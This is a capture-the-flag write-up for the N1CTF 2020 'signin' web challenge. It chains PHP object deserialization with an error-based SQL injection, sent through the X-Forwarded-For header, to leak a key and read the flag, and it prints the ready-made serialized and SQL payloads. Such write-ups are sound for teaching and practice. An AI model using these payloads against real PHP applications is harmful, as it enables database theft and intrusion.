Tags: web serialization 

Rating: 5.0

# Web signin

## Description

It was php serialization challenge, ended up having 78 solves.

## Challenge

```
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}

class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}

}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
```
## Solution

To solve this, we just have to reach `getflag` method with correct check property.

```
public function getflag(){
if(md5($this->check)===md5("key")){
readfile('/flag');
}
return $this->ip;
}
```
`waf` method's code is not in picture.

Also there is a mysql connection in `__toString` method of `ip` class. So maybe the correct key is there.

To dump the key, we have to somehow get sql injection.

Basically there is injection point in code:

```
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
```
Also this part of code is interesting.

```
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
```
This code returns mysql error or a `your ip looks ok!` based on the query result.

The other interesting part is

```
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
```

This means if our ip has `n1ctf` in it, then `welcome to n1ctf2020` is shown, otherwise `noip`.

So if we can put `n1ctf` in mysql error code, we have sql injection.

This injection does the job.

```
'&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=2 limit 1)))))&&'
```

The query with our injection would return error with `n1ctf` in it if `1=1` and `null` otherwise.

## Exploit

We can generate our serialized object with this code.

```
$payload = new flag("A");
$payload->ip = new ip();
echo urlencode(urlencode( $input ));
```

Which is

```
O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BN%3B%7Ds%3A5%3A%22check%22%3BN%3B%7DA
```

Then in `X-Forwarded-For` header

```
'&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=1 limit 1)))))&&'
```

The response contains `welcome to n1ctf2020` if `1=1` and `noip` otherwise.

Then you can get key with dumping database, which is `n1ctf20205bf75ab0a30dfc0c`.

Final payload is

```
O%3A4%3A"flag"%3A2%3A%7Bs%3A2%3A"ip"%3Bs%3A1%3A"A"%3Bs%3A5%3A"check"%3Bs%3A25%3A"n1ctf20205bf75ab0a30dfc0c"%3B%7DA
```

And the flag is n1ctf{you_g0t_1t_hack_for_fun}

Original writeup (https://github.com/Super-Guesser/ctf/tree/master/N1CTF%202020/web/signin).